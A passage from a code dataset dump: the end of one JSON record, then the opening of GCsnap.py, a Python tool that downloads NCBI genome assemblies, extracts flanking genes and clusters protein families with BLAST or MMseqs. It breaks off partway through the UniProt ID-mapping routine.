'jingdong.scf.invoice.dailybill.queryDailyBillList'\n\n\t\t\t\n\n\n\n\n\n","repo_name":"ogto/scm_backend","sub_path":"jd/api/rest/ScfInvoiceDailybillQueryDailyBillListRequest.py","file_name":"ScfInvoiceDailybillQueryDailyBillListRequest.py","file_ext":"py","file_size_in_byte":421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"38690700633","text":"## GCsnap.py - devoloped by Joana Pereira, Structural Computational Biology, Biozentrum University of Basel, Basel Switzerland\n## Last changed: 18.08.2023\n\nimport subprocess as sp\nimport multiprocessing as mp\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport networkx as nx\n\nimport matplotlib\nimport json\nimport os\nimport time\nimport random\nimport urllib.parse\nimport urllib.request\nimport requests\nimport sys\nimport statistics\nimport argparse\nimport requests_cache\nimport pacmap\n\n# for UniProt id mapping\nimport re\nimport zlib\nfrom xml.etree import ElementTree\nfrom urllib.parse import urlparse, parse_qs, urlencode\nimport requests\nfrom requests.adapters import HTTPAdapter, Retry\n\nfrom Bio.Blast import NCBIXML\nfrom Bio import Entrez\nfrom Bio import Phylo\nfrom scipy.cluster import hierarchy\nfrom scipy.spatial import distance\nfrom scipy import stats\nfrom collections import Counter\nfrom multiprocessing.pool import ThreadPool\n\nfrom sklearn.cluster import DBSCAN\nfrom sklearn.mixture import GaussianMixture\n\nfrom bokeh.plotting import figure, output_file, gridplot, save\nfrom bokeh.colors import RGB\nfrom bokeh.models import HoverTool, TapTool, LassoSelectTool, Range1d, LinearAxis, WheelZoomTool, Circle, MultiLine, Panel, Tabs\nfrom bokeh.models import ColumnDataSource, DataTable, DateFormatter, TableColumn, Legend, HTMLTemplateFormatter\nfrom bokeh.models.callbacks import OpenURL\nfrom bokeh.models.graphs import from_networkx, NodesAndLinkedEdges\nfrom bokeh.models.widgets import Div\nfrom bokeh.layouts import row, column\n\n# import bokeh.layouts \n\nplt.switch_backend('agg')\n\n# set parameters for uniprot requests\n\nretries = Retry(total=5, backoff_factor=0.25, status_forcelist=[500, 502, 503, 504, 400])\nsession = requests.Session()\nsession.mount(\"https://\", HTTPAdapter(max_retries=retries))\n\n# HELPING ROUTINES\n\n# 0. General routines\n\ndef chunk_list(l, n):\n\n\n\tchunks = np.array_split(np.array(l), n)\n\n\tchunks = [list(chunk) for chunk in chunks]\n\treturn chunks\n\ndef find_clusters_in_distance_matrix(distance_matrix, t = 0):\n\n\tdistance_matrix = distance.squareform(distance_matrix)\n\tlinkage = hierarchy.linkage(distance_matrix, method = 'single')\n\tclusters = hierarchy.fcluster(linkage, t, criterion = 'distance')\n\tclusters = [int(i) for i in clusters]\n\n\treturn clusters\n\ndef mask_singleton_clusters(clusters_list, mask = 0):\n\t\n\tnew_clusters_list = []\n\n\tfor value in clusters_list:\n\t\tif list(clusters_list).count(value) == 1:\n\t\t\tnew_clusters_list.append(mask)\n\t\telse:\n\t\t\tnew_clusters_list.append(value)\n\n\treturn new_clusters_list\n\ndef merge_intervals(intervals):\n\n\tintervals = np.array(intervals)\n\tintervals = intervals[intervals[:, 0].argsort()]\t\n\n\tnew_intervals = []\n\tfor interval in intervals:\n\t\tif len(new_intervals) == 0:\n\t\t\tnew_intervals.append(interval)\n\t\telse:\n\t\t\tprevious_interval = list(new_intervals[-1])\n\t\t\tif interval[0] <= previous_interval[1]:\n\t\t\t\toverlap_range = interval+previous_interval\n\t\t\t\tnew_intervals[-1] = [min(overlap_range), max(overlap_range)]\n\t\t\telse:\n\t\t\t\tnew_intervals.append(interval)\n\n\treturn new_intervals\n\n# 1. Routines to get the assembly for a given ncbi_code (or entrezID), download it and parse it\n\ndef map_uniprot_to_ncbi(uniprot_code, search_database = 'EMBL-GenBank-DDBJ_CDS'):\n\n\tif 'UniRef' in uniprot_code:\n\t\tuniprot_label = uniprot_code.split('_')[-1]\n\telif uniprot_code.startswith('UPI'): # if it is a UniParc ID\n\t\tuniprot_label = map_codes_to_uniprot([uniprot_code], from_database = 'UniParc')[uniprot_code]\n\telif uniprot_code.startswith('ENSG'): # if it is an ensemble gene ID\n\t\tuniprot_label = map_codes_to_uniprot([uniprot_code], from_database = 'Ensembl')[uniprot_code]\n\telif uniprot_code.isnumeric():\t\t# it is a gene id\n\t\tuniprot_label = map_codes_to_uniprot([uniprot_code], from_database = 'GeneID')[uniprot_code]\n\telse:\n\t\tuniprot_label = uniprot_code\n\t\n\tresults = get_mappings_through_uniprot([uniprot_code], from_database = 'UniProtKB_AC-ID', to_database = search_database)\n\t\n\tncbi_code = 'nan'\n\tif results != []:\n\t\tncbi_code = results[0]['to']\n\n\tif ncbi_code == 'nan':\n\t\tif search_database != 'RefSeq_Protein':\n\t\t\tncbi_code, search_database = map_uniprot_to_ncbi(uniprot_code, search_database = 'RefSeq_Protein')\n\telse:\n\t\tprint(\" ... {} corresponds to {} in {} database\".format(uniprot_code, ncbi_code, search_database))\n\n\treturn ncbi_code, search_database\n\ndef find_ncbi_code_assembly(ncbi_code, database_assembly_mapping):\n\n\tassembly_id = 'nan'\n\tassembly_source = 'nan'\n\tassembly_link = 'nan'\n\tuniprot_code = 'nan'\n\tsearch_database = 'nan'\n\n\tif '.' not in ncbi_code:\n\t\tuniprot_code = ncbi_code\n\t\tncbi_code, search_database = map_uniprot_to_ncbi(uniprot_code)\n\n\ttry:\n\t\thandle = Entrez.efetch(db=\"protein\", id=ncbi_code, rettype=\"ipg\", retmode=\"xml\")\n\t\trecord = Entrez.read(handle)\n\n\t\tassemblies_found = {}\n\t\tfor report in record:\n\t\t\tif 'ProteinList' in record[report]:\n\t\t\t\tproducts = record[report]['ProteinList']\n\t\t\t\tfor product in products:\n\t\t\t\t\tif 'CDSList' in product and \"assembly\" in str(product):\n\t\t\t\t\t\tcds = product['CDSList']\n\t\t\t\t\t\tcds = str(cds)\n\t\t\t\t\t\tcds = cds.replace('[','').replace(']','').replace('{', '').replace('}', '').replace('(','').replace(')','')\n\n\t\t\t\t\t\tassemblyId = cds.split(\"assembly\")\n\t\t\t\t\t\tassemblyId = assemblyId[-1].split()[1].replace(' ','').replace(\"'\",'')\n\t\t\t\t\t\tassemblyId = assemblyId.replace(',','')\n\n\t\t\t\t\t\tprotein_acc = str(product).split(\"}, attributes={'accver': \")[1].split(',')[0].replace(\"'\",\"\")\n\t\t\t\t\t\tsource = str(product).split(\"}, attributes={'accver': \")[1].split(\", 'source': \")[1].split(',')[0].replace(\"'\",\"\")\n\t\t\t\t\t\t\n\t\t\t\t\t\tif protein_acc == ncbi_code:\n\t\t\t\t\t\t\tassembly_id = assemblyId\n\t\t\t\t\t\t\tassembly_source = source\n\n\t\t\t\t\t\t\tassembly_link = database_assembly_mapping[assembly_id]\n\texcept:\n\t\tassembly_id = 'nan'\n\t\tassembly_source = 'nan'\n\t\tassembly_link = 'nan'\n\n\tif uniprot_code != 'nan' and assembly_id == 'nan' and search_database == 'EMBL':\n\t\tncbi_code, search_database = map_uniprot_to_ncbi(uniprot_code, search_database = 'P_REFSEQ_AC')\n\t\tncbi_code, assembly_id, assembly_link = find_ncbi_code_assembly(ncbi_code, database_assembly_mapping)\n\n\treturn ncbi_code, assembly_id, assembly_link\n\ndef download_and_extract_assembly(assembly_id, assembly_link, tmp_folder = None, label = '', get_chunk = False, chunk_size = 0, target = None):\n\n\tprint(' ... ... Downloading and extracting assembly {} annotated gff file'.format(assembly_id))\n\n\tassembly_label = assembly_link.split('/')[-1]\n\t\n\tassembly_genomic_file_link = '{}/{}_genomic.gff.gz'.format(assembly_link, assembly_label)\n\tout_assembly_file_gz = '{}/{}'.format(tmp_folder, assembly_genomic_file_link.split('/')[-1])\n\tout_assembly_file = out_assembly_file_gz[:-3]\n\n\tif not os.path.isfile(out_assembly_file) and not os.path.isfile(out_assembly_file_gz):\n\t\tdownload_assembly = sp.Popen(['wget', assembly_genomic_file_link, '-O', out_assembly_file_gz], stdout=sp.PIPE, stderr=sp.PIPE, stdin=sp.PIPE)\n\t\tstdout, stderr = download_assembly.communicate()\n\n\tif os.path.isfile(out_assembly_file_gz) or os.path.isfile(out_assembly_file):\n\n\t\tprint(' ... ... ... Downloaded assembly {} ....'.format(assembly_id))\n\n\t\textract_assembly_file = sp.Popen(['gunzip', out_assembly_file_gz], stdout=sp.PIPE, stderr=sp.PIPE, stdin=sp.PIPE)\n\t\tstdout, stderr = extract_assembly_file.communicate()\n\n\t\tif os.path.isfile(out_assembly_file):\n\n\t\t\tassembly = parse_assembly(out_assembly_file, get_chunk = get_chunk, chunk_size = chunk_size, target = target)\n\n\t\t\tif not get_chunk:\n\t\t\t\tprint(' ... ... ... Finished parsing assembly {} and found {} CDS entries'.format(assembly_id, len(assembly['ncbi_codes'])))\n\t\t\telse:\n\t\t\t\tprint(' ... ... ... Finished parsing assembly {} and collected {} CDS entries around the target'.format(assembly_id, len(assembly['ncbi_codes'])))\n\t\t\treturn assembly\n\n\t\telse:\n\t\t\tprint(' ... ... ... It was not possible to extract assembly {}'.format(assembly_id))\n\t\t\treturn 'nan'\n\telse:\n\t\tprint(' ... ... ... It was not possible to save assembly {}'.format(assembly_id))\n\t\treturn 'nan'\n\ndef parse_assembly(assembly_file, get_chunk = False, chunk_size = 0, target = None):\n\n\tassembly = {'ncbi_codes': [], 'starts': [], 'ends': [], 'directions': [], 'names': [], 'scaffolds': []}\n\tcurr_scaffold = 0\n\tfound_chunk = False\n\tchunk_timer = 0\n\t\n\twith open(assembly_file, 'r') as in_assembly:\n\t\tfor line in in_assembly:\n\t\t\tif not line.startswith('#'):\n\t\t\t\tline_data = line.split('\\t')\n\n\t\t\t\tif line_data[2] == 'CDS':\n\n\t\t\t\t\tstart = int(line_data[3])\n\t\t\t\t\tend = int(line_data[4])\n\t\t\t\t\tdirection = line_data[6]\n\n\t\t\t\t\tif 'cds-' in line:\n\t\t\t\t\t\tncbi_code = line_data[8].split('ID=cds-')[1].split(';')[0]\n\t\t\t\t\telse:\n\t\t\t\t\t\tif 'Name=' in line:\n\t\t\t\t\t\t\tncbi_code = line_data[8].split('Name=')[1].split(';')[0]\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tncbi_code = 'unk'\n\n\t\t\t\t\tif 'pseudo=' not in line and 'product=' in line and 'fragment' not in line:\n\t\t\t\t\t\tprot_name = line_data[8].split('product=')[1].split(';')[0]\n\t\t\t\t\telse:\n\t\t\t\t\t\tprot_name = 'pseudogene'\n\n\t\t\t\t\tif ncbi_code in assembly['ncbi_codes'] and assembly['ncbi_codes'][-1] == ncbi_code: # it means that this is some kind of fragmented gene (has introns?...) and so we have to collect the largest interval encompassing it\n\t\t\t\t\t\tif start < assembly['starts'][-1]:\n\t\t\t\t\t\t\tassembly['starts'][-1] = start\n\t\t\t\t\t\tif end > assembly['ends'][-1]:\n\t\t\t\t\t\t\tassembly['ends'][-1] = end\n\t\t\t\t\telse:\n\t\t\t\t\t\tif '|' in ncbi_code:\n\t\t\t\t\t\t\tncbi_code = ncbi_code.replace('|','_')\n\n\t\t\t\t\t\tassembly['ncbi_codes'].append(ncbi_code)\n\t\t\t\t\t\tassembly['names'].append(prot_name)\n\t\t\t\t\t\tassembly['scaffolds'].append(curr_scaffold)\n\t\t\t\t\t\tassembly['starts'].append(start)\n\t\t\t\t\t\tassembly['ends'].append(end)\n\t\t\t\t\t\tassembly['directions'].append(line_data[6])\n\n\t\t\t\t\tif get_chunk:\n\t\t\t\t\t\tif ncbi_code == target:\n\t\t\t\t\t\t\tchunk_timer = 1\n\t\t\t\t\t\telif chunk_timer > 0:\n\t\t\t\t\t\t\tchunk_timer += 1\n\n\t\t\t\t\t\tif chunk_timer == round(chunk_size/2):\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\n\t\t\telif line.startswith('##sequence-region'):\n\t\t\t\tcurr_scaffold += 1\n\n\tif get_chunk:\n\t\tchunked_assembly = {}\n\t\tfor key in assembly:\n\t\t\tchunked_assembly[key] = assembly[key][-chunk_size:]\n\t\tassembly = chunked_assembly\n\n\treturn assembly\t\t\t\t\n\t\t\t\t\n# 2. Routines to get the N flanking genes for a given ncbi_code \n\ndef get_n_flanking_genes(target_ncbi_code, assembly, n_5 = None, n_3 = None, exclude_partial = None):\n\n\tif n_5 == n_3:\n\t\tprint(' ... ... Extracting {} flanking genes ({} to each side) of {}'.format(n_5+n_3, n_5, target_ncbi_code))\n\telse:\n\t\tprint(\" ... ... Extracting {} flanking genes ({} to 5' and {} to 3') of {}\".format(n_5+n_3, n_5, n_3, target_ncbi_code))\n\t\n\tflanking_genes = {'relative_starts': [], 'relative_ends': []}\n\n\tif target_ncbi_code in assembly['ncbi_codes']:\n\t\tindex_of_target = assembly['ncbi_codes'].index(target_ncbi_code)\n\t\tdirection_of_target = assembly['directions'][index_of_target]\n\n\t\tif direction_of_target == '+':\n\t\t\tgenomic_context_block = [index_of_target-n_5, index_of_target+n_3]\n\t\telse:\n\t\t\tgenomic_context_block = [index_of_target-n_3, index_of_target+n_5]\n\n\t\tfor i in range(genomic_context_block[0], genomic_context_block[1]+1):\n\t\t\tif i>= 0 and i < len(assembly['scaffolds']):\n\t\t\t\tif assembly['scaffolds'][i] == assembly['scaffolds'][index_of_target]:\n\t\t\t\t\tfor key in assembly.keys():\n\t\t\t\t\t\tif key != 'scaffolds':\n\t\t\t\t\t\t\tif key not in flanking_genes:\n\t\t\t\t\t\t\t\tflanking_genes[key] = []\n\n\t\t\t\t\t\t\tflanking_genes[key].append(assembly[key][i])\n\n\t\t\t\t\t\t\tif key == 'starts' or key == 'ends':\n\t\t\t\t\t\t\t\tflanking_genes['relative_{}'.format(key)].append(assembly[key][i] - assembly['starts'][index_of_target] + 1)\n\n\t\tprint(' ... ... ... Found {} flanking genes for {}'.format(len(flanking_genes['ncbi_codes'])-1, target_ncbi_code))\n\n\t\tif direction_of_target == '-':\n\t\t\tindex_of_target_in_flanking = flanking_genes['ncbi_codes'].index(target_ncbi_code)\n\t\t\tcurrent_relative_starts = flanking_genes['relative_starts']\n\t\t\tcurrent_relative_ends = flanking_genes['relative_ends']\n\n\t\t\tflanking_genes['relative_starts'] = [value*(-1)+current_relative_ends[index_of_target_in_flanking]+1 for value in current_relative_ends]\n\t\t\tflanking_genes['relative_ends'] = [value*(-1)+current_relative_ends[index_of_target_in_flanking]+1 for value in current_relative_starts]\n\n\t\t\tfor key in flanking_genes:\n\t\t\t\tflanking_genes[key] = flanking_genes[key][::-1]\n\t\t\t\tif key == 'directions':\n\t\t\t\t\tflanking_genes[key] = list(''.join(flanking_genes[key]).replace('+','p'))\n\t\t\t\t\tflanking_genes[key] = list(''.join(flanking_genes[key]).replace('-','+'))\n\t\t\t\t\tflanking_genes[key] = list(''.join(flanking_genes[key]).replace('p','-'))\n\n\t\tif exclude_partial and len(flanking_genes['ncbi_codes']) < n_5+n_3+1:\n\t\t\tprint(' ... ... ... This represents a partial syntenic block and as \"exclude_partial\" is on, it will not be considered.')\n\t\t\treturn 'nan'\n\t\telse: \n\t\t\treturn flanking_genes\n\t\t\n\telse:\n\t\tprint(' ... ... ... {} was not found in assembly'.format(target_ncbi_code))\n\t\treturn 'nan'\n\ndef add_sequences_to_flanking_genes(flanking_genes, target_ncbi_code):\n\n\tprint(' ... ... Collecting sequences for flanking proteins')\n\n\tflanking_genes['sequences'] = []\n\tflanking_genes['species'] = []\n\tflanking_genes['taxID'] = []\n\n\tfor ncbi_code in flanking_genes['ncbi_codes']:\n\t\tseq = ''\n\t\tspecies = ''\n\t\tuniprot_code = ''\n\t\tswiss_model_link = ''\n\t\ttaxid = ''\n\t\ttry:\n\t\t\thandle = Entrez.efetch(db=\"protein\", id=ncbi_code, retmode=\"xml\", rettype='fasta')\n\t\t\trecord = Entrez.read(handle)\n\t\t\t\n\t\t\tfor report in record:\n\t\t\t\tif seq == '':\n\t\t\t\t\tseq = report['TSeq_sequence']\n\t\t\t\tif species == '' and ncbi_code == target_ncbi_code:\n\t\t\t\t\ttaxid = report['TSeq_taxid']\n\t\t\t\t\tspecies = report['TSeq_orgname']\n\t\texcept:\n\t\t\tseq = 'FAKESEQUENCEFAKESEQUENCEFAKESEQUENCEFAKESEQUENCE'\n\n\t\tflanking_genes['sequences'].append(seq)\n\n\t\tif species != '':\n\t\t\tflanking_genes['species'] = species\n\t\tif taxid != '':\n\t\t\tflanking_genes['taxID'] = taxid\n\n\treturn flanking_genes\n\n# 3. Routines to compute all-against-all distance matrix and find protein families \n\ndef write_flanking_sequences_to_fasta(all_syntenies, out_dir, out_label, exclude_pseudogenes = False, mode = 'flanking_sequences'):\n\n\tout_fasta = '{}/{}_{}.fasta'.format(out_dir, out_label, mode)\n\tseqs_lens = {}\n\n\twith open(out_fasta, 'w') as outfst:\n\t\tfor target in all_syntenies.keys():\n\n\t\t\tif mode == 'flanking_sequences':\n\t\t\t\tflanking_genes = all_syntenies[target]['flanking_genes']\n\t\t\t\tfor i, ncbi_code in enumerate(flanking_genes['ncbi_codes']):\n\n\t\t\t\t\tif flanking_genes['names'][i] != 'pseudogene' or not exclude_pseudogenes:\n\t\t\t\t\t\toutfst.write('>{}|{}\\n{}\\n'.format(ncbi_code, flanking_genes['names'][i], flanking_genes['sequences'][i]))\n\t\t\t\t\t\tseqs_lens[ncbi_code] = len(flanking_genes['sequences'][i])\n\t\t\t\n\t\t\tif mode == 'operon':\n\t\t\t\toutfst.write('>{}\\n'.format(target))\n\t\t\t\tfor sequence in all_syntenies[target]['flanking_genes']['sequences']:\n\t\t\t\t\toutfst.write(sequence)\n\t\t\t\toutfst.write('\\n')\n\n\treturn out_fasta, seqs_lens\n\n# 3.1. Routines for when the method is based on BLASTp\n\ndef make_blast_database_from_fasta(infasta, blast = None):\n\n\tprint(' ... ... Making BLAST database')\n\tblastDB = '{}_blastDB'.format(infasta[:-6])\n\n\tmake_blastDB = sp.Popen(['makeblastdb','-in', infasta, '-dbtype', 'prot', '-out', blastDB], stdout=sp.PIPE, stderr=sp.PIPE, stdin=sp.PIPE)\n\tstdout, stderr = make_blastDB.communicate()\n\t\n\tif len(stderr) > 0:\n\t\tprint(stderr)\n\t\tif 'BLAST engine error' not in stderr:\n\t\t\tmake_blastDB = sp.Popen(['{}makeblastdb'.format(blast),'-in', infasta, '-dbtype', 'prot', '-out', blastDB], stdout=sp.PIPE, stderr=sp.PIPE, stdin=sp.PIPE)\n\t\t\tstdout, stderr = make_blastDB.communicate()\n\n\treturn blastDB\n\ndef run_blast_for_flanking_sequences(seq_fasta, database, num_threads = None, num_alignments = None, max_evalue = None, num_iterations = None, blast = None, tmp_folder = None):\n\n\tprint(' ... ... Running BLAST')\n\tblast_outfile = '{}/{}_{}.xml'.format(tmp_folder, seq_fasta.split('/')[-1][:-6], max_evalue)\n\n\tif not os.path.isfile(blast_outfile):\n\t\trun_blast = sp.Popen(['psiblast', '-query', seq_fasta, '-db', database, '-out', blast_outfile, '-num_threads', str(num_threads), '-evalue', str(max_evalue), '-inclusion_ethresh', str(max_evalue), '-num_iterations', str(num_iterations),'-num_alignments', str(num_alignments), '-outfmt', '5'], stdout=sp.PIPE, stderr=sp.PIPE, stdin=sp.PIPE)\n\t\tstdout, stderr = run_blast.communicate()\n\n\t\tif len(stderr) > 0:\n\t\t\tprint(stderr)\n\t\t\tif 'BLAST engine error' not in stderr:\n\t\t\t\trun_blast = sp.Popen(['{}psiblast'.format(blast), '-query', seq_fasta, '-db', database, '-out', blast_outfile, '-num_threads', str(num_threads), '-evalue', str(max_evalue), '-inclusion_ethresh', str(max_evalue), '-num_iterations', str(num_iterations),'-num_alignments', str(num_alignments), '-outfmt', '5'], stdout=sp.PIPE, stderr=sp.PIPE, stdin=sp.PIPE)\n\t\t\t\tstdout, stderr = run_blast.communicate()\n\n\treturn blast_outfile\n\ndef extract_distance_matrix_from_blast_output(blast_results, default_base = None, min_coverage = 70, sequences_lengths = {}):\n\n\tprint(' ... ... Computing sequences similarity matrix')\n\tresult_handle = open(blast_results)\n\tblast_records = NCBIXML.parse(result_handle)\n\t\n\tall_queries = sorted(list(set([record.query.split('|')[0] for record in blast_records])))\n\tdistance_matrix = [[default_base for query in all_queries] for query in all_queries]\n\n\tresult_handle = open(blast_results)\n\tblast_records = NCBIXML.parse(result_handle)\n\t\n\tfor record in blast_records:\n\t\tquery_name = record.query.split('|')[0]\n\t\tquery_index = all_queries.index(query_name)\n\n\t\tfor alignment in record.alignments:\n\t\t\ttarget_name = alignment.title.split('|')[2].split()[1]\n\t\t\ttarget_index = all_queries.index(target_name)\n\n\t\t\tif query_name != target_name:\n\t\t\t\tquery_intervals = []\n\t\t\t\tsbjct_intervals = []\n\n\t\t\t\tfor hsp in alignment.hsps:\n\t\t\t\t\tquery_intervals.append(np.array([hsp.query_start, hsp.query_end]))\n\t\t\t\t\tsbjct_intervals.append(np.array([hsp.sbjct_start, hsp.sbjct_end]))\n\n\t\t\t\tquery_intervals = merge_intervals(query_intervals)\n\t\t\t\ttarget_intervals = merge_intervals(sbjct_intervals)\n\n\t\t\t\tif query_name in sequences_lengths and target_name in sequences_lengths:\n\t\t\t\t\tquery_length = sequences_lengths[query_name]\n\t\t\t\t\ttarget_lenght = sequences_lengths[target_name]\n\n\t\t\t\t\tquery_coverage = sum([i[-1]-i[0] for i in query_intervals])*100.0/float(query_length)\n\t\t\t\t\ttarget_coverage = sum([i[-1]-i[0] for i in target_intervals])*100.0/float(target_lenght)\n\n\t\t\t\t\tif query_coverage >= min_coverage and target_coverage >= min_coverage:\n\t\t\t\t\t\tdistance_matrix[query_index][target_index] = 0\n\t\t\t\t\t\tdistance_matrix[target_index][query_index] = 0\n\n\t\tdistance_matrix[query_index][query_index] = 0\n\n\treturn np.array(distance_matrix), all_queries\n\n# 3.2. Routines for when the method is based on MMseqs\n\ndef get_queries_labels(seq_fasta):\n\n\tall_queries = []\n\twith open(seq_fasta, 'r') as infasta:\n\t\tfor line in infasta:\n\t\t\tif line.startswith('>'):\n\t\t\t\tquery = line.split('|')[0].strip('>')\n\t\t\t\tall_queries.append(query)\n\treturn all_queries\n\ndef run_mmseqs_for_flanking_sequences(seq_fasta, num_threads = None, max_evalue = None, num_iterations = None, mmseqs = None, tmp_folder = None, sensitivity=7.5, min_coverage=None):\n\n\tprint(' ... ... Running MMseqs')\n\tmmseqs_outfile = '{}/{}_{}.mmseqs'.format(tmp_folder, seq_fasta.split('/')[-1][:-6], max_evalue)\n\n\tif not os.path.isfile(mmseqs_outfile):\n\t\trun_mmseqs = sp.Popen(['mmseqs', 'easy-search', seq_fasta, seq_fasta, mmseqs_outfile, tmp_folder, '-e', str(max_evalue), '-s', str(sensitivity), '-c', str(min_coverage), '--num-iterations', str(num_iterations), '--threads', str(num_threads), '--format-output', 'query,target,evalue'], stdout=sp.PIPE, stderr=sp.PIPE, stdin=sp.PIPE)\n\t\tstdout, stderr = run_mmseqs.communicate()\n\n\t\tif len(stderr) > 0:\n\t\t\ttry:\n\t\t\t\trun_mmseqs = sp.Popen(['{}mmseqs'.format(mmseqs), 'easy-search', seq_fasta, seq_fasta, mmseqs_outfile, tmp_folder, '-e', str(max_evalue), '-s', str(sensitivity), '-c', str(min_coverage), '--num-iterations', str(num_iterations), '--threads', str(num_threads), '--format-output', 'query,target,evalue'], stdout=sp.PIPE, stderr=sp.PIPE, stdin=sp.PIPE)\n\t\t\t\tstdout, stderr = run_mmseqs.communicate()\n\t\t\texcept:\n\t\t\t\tprint(\"\\n--> ERROR: There's no MMseqs installation\")\n\t\t\t\texit()\n\n\treturn mmseqs_outfile\n\ndef extract_distance_matrix_from_mmseqs_output(mmseqs_results, all_queries, default_base = None):\n\n\tprint(' ... ... Computing sequences similarity matrix')\n\tdistance_matrix = [[default_base if i!=j else 0 for i in all_queries] for j in all_queries]\n\n\tall_queries = {query: i for i, query in enumerate(all_queries)}\n\n\twith open(mmseqs_results, 'r') as mmseqs_records:\n\t\tfor hsp in mmseqs_records:\n\t\t\thsp = hsp.split()\n\t\t\tif len(hsp) > 0:\n\t\t\t\tquery = hsp[0].split('|')[0]\n\t\t\t\tquery_index = all_queries[query]\n\n\t\t\t\ttarget = hsp[1].split('|')[0]\n\t\t\t\tif target != query:\n\t\t\t\t\ttarget_index = all_queries[target]\n\t\t\t\t\tdistance_matrix[query_index][target_index] = 0\n\t\t\t\t\tdistance_matrix[target_index][query_index] = 0\n\n\treturn np.array(distance_matrix)\n\n# 3.3. Wrapping routines\n\ndef compute_all_agains_all_distance_matrix(in_syntenies, out_label = None, num_threads = None, num_alignments = None, max_evalue = None, num_iterations = None, blast = None, mmseqs = None, default_base = None, tmp_folder = None, mode = 'flanking_sequences', method = 'blast', min_coverage=None):\n\t\n\tout_dir = '{}/{}_all_against_all_searches'.format(os.getcwd(), out_label)\n\tif not os.path.isdir(out_dir):\n\t\tos.mkdir(out_dir)\n\n\tflanking_fasta, sequences_len = write_flanking_sequences_to_fasta(in_syntenies, out_dir, out_label, mode = mode)\n\n\tif method == 'psiblast':\n\t\tsequences_database = make_blast_database_from_fasta(flanking_fasta, blast = blast)\n\t\tblast_results = run_blast_for_flanking_sequences(flanking_fasta, sequences_database, num_threads = num_threads, num_alignments = num_alignments, max_evalue = max_evalue, num_iterations = num_iterations, blast = blast, tmp_folder = tmp_folder)\n\t\tdistance_matrix, queries_labels = extract_distance_matrix_from_blast_output(blast_results, default_base = default_base, sequences_lengths = sequences_len, min_coverage = min_coverage)\n\t\n\telif method == 'mmseqs':\n\t\tqueries_labels = get_queries_labels(flanking_fasta)\n\t\tmmseqs_results = run_mmseqs_for_flanking_sequences(flanking_fasta, num_threads = num_threads, max_evalue = max_evalue, num_iterations = num_iterations, min_coverage = min_coverage/100, mmseqs = mmseqs, tmp_folder = tmp_folder)\n\t\tdistance_matrix = extract_distance_matrix_from_mmseqs_output(mmseqs_results, queries_labels, default_base = default_base)\n\n\treturn distance_matrix, queries_labels\n\ndef get_protein_families_summary(in_syntenies, write_to_file = True, out_label = None):\n\n\tfamilies = {}\n\n\tfor target in in_syntenies:\n\t\tfor i, family in enumerate(in_syntenies[target]['flanking_genes']['families']):\n\t\t\tcurr_ncbi_code = in_syntenies[target]['flanking_genes']['ncbi_codes'][i]\n\n\t\t\tif family not in families:\n\t\t\t\tfamilies[family] = {'name': [], 'members': [], 'all_names': []}\n\n\t\t\tif curr_ncbi_code not in families[family]['members']:\n\n\t\t\t\tif family != 0:\n\t\t\t\t\tfamilies[family]['all_names'].append(in_syntenies[target]['flanking_genes']['names'][i])\n\t\t\t\telse:\n\t\t\t\t\tfamilies[family]['all_names'] = ['Non-conserved']\n\n\t\t\t\tfamilies[family]['members'].append(curr_ncbi_code)\n\n\tfor family in families:\n\t\tif len(set(families[family]['all_names'])) > 1 and 'hypothetical protein' in set(families[family]['all_names']):\n\t\t\tfamilies[family]['name'] = [name for name in families[family]['all_names'] if name != 'hypothetical protein']\n\t\telse:\n\t\t\tfamilies[family]['name'] = families[family]['all_names']\n\t\t\n\t\ttry:\n\t\t\tfamilies[family]['name'] = statistics.mode(families[family]['name'])\n\t\texcept:\n\t\t\tfamilies[family]['name'] = families[family]['name'][0]\n\n\tif 10000 in families:\n\t\tn_pseudogenes = len(families[10000]['members'])\n\telse:\n\t\tn_pseudogenes = 0\n\n\tif 0 in families:\n\t\tn_nonconserved = len(families[0]['members'])\n\telse:\n\t\tn_nonconserved = 0\n\t\t\n\tprint(' ... Found {} conserved protein families, {} pseudogenes and {} non-conserved protein coding regions'.format(len([i for i in families if i != 0 and i != 10000]), n_pseudogenes, n_nonconserved))\n\n\tif write_to_file:\n\t\tout_file = '{}_protein_families_summary.txt'.format(out_label)\n\t\twith open(out_file, 'w') as outf:\n\t\t\tfor family in sorted(list(families.keys())):\n\t\t\t\tif families[family]['name'] != 'Non-conserved':\n\t\t\t\t\toutf.write('\\n ### Family: {} -> {}\\n\\n'.format(family, families[family]['name']))\n\t\t\t\t\tfor i, member in enumerate(families[family]['members']):\n\t\t\t\t\t\toutf.write('\t {}\\t{}\\n'.format(member, families[family]['all_names'][i]))\n\t\t\t\n\treturn families\n\n# 4. Routines to annotate functions and find structures for protein families\n\ndef get_mappings_through_uniprot(codes, from_database = 'RefSeq_Protein', to_database = 'UniProtKB', POLLING_INTERVAL = 10, API_URL = \"https://rest.uniprot.org\"):\n\n\t# The code below is copy-pasted from the help page of UniProt API (https://www.uniprot.org/help/id_mapping)\n\n\n\tdef check_response(response):\n\t\ttry:\n\t\t\tresponse.raise_for_status()\n\t\texcept requests.HTTPError:\n\t\t\tprint(response.json())\n\t\t\traise\n\n\n\tdef submit_id_mapping(from_db, to_db, ids):\n\t\trequest = requests.post(\n\t\t\tf\"{API_URL}/idmapping/run\",\n\t\t\tdata={\"from\": from_db, \"to\": to_db, \"ids\": \",\".join(ids)},\n\t\t)\n\t\tcheck_response(request)\n\t\treturn request.json()[\"jobId\"]\n\n\n\tdef get_next_link(headers):\n\t\tre_next_link = re.compile(r'<(.+)>; rel=\"next\"')\n\t\tif \"Link\" in headers:\n\t\t\tmatch = re_next_link.match(headers[\"Link\"])\n\t\t\tif match:\n\t\t\t\treturn match.group(1)\n\n\n\tdef check_id_mapping_results_ready(job_id):\n\t\twhile True:\n\t\t\trequest = session.get(f\"{API_URL}/idmapping/status/{job_id}\")\n\t\t\tcheck_response(request)\n\t\t\tj = request.json()\n\t\t\tif \"jobStatus\" in j:\n\t\t\t\tif j[\"jobStatus\"] == \"RUNNING\":\n\t\t\t\t\tprint(f\"Retrying in {POLLING_INTERVAL}s\")\n\t\t\t\t\ttime.sleep(POLLING_INTERVAL)\n\t\t\t\telse:\n\t\t\t\t\traise Exception(j[\"jobStatus\"])\n\t\t\telse:\n\t\t\t\ttry:\n\t\t\t\t\treturn 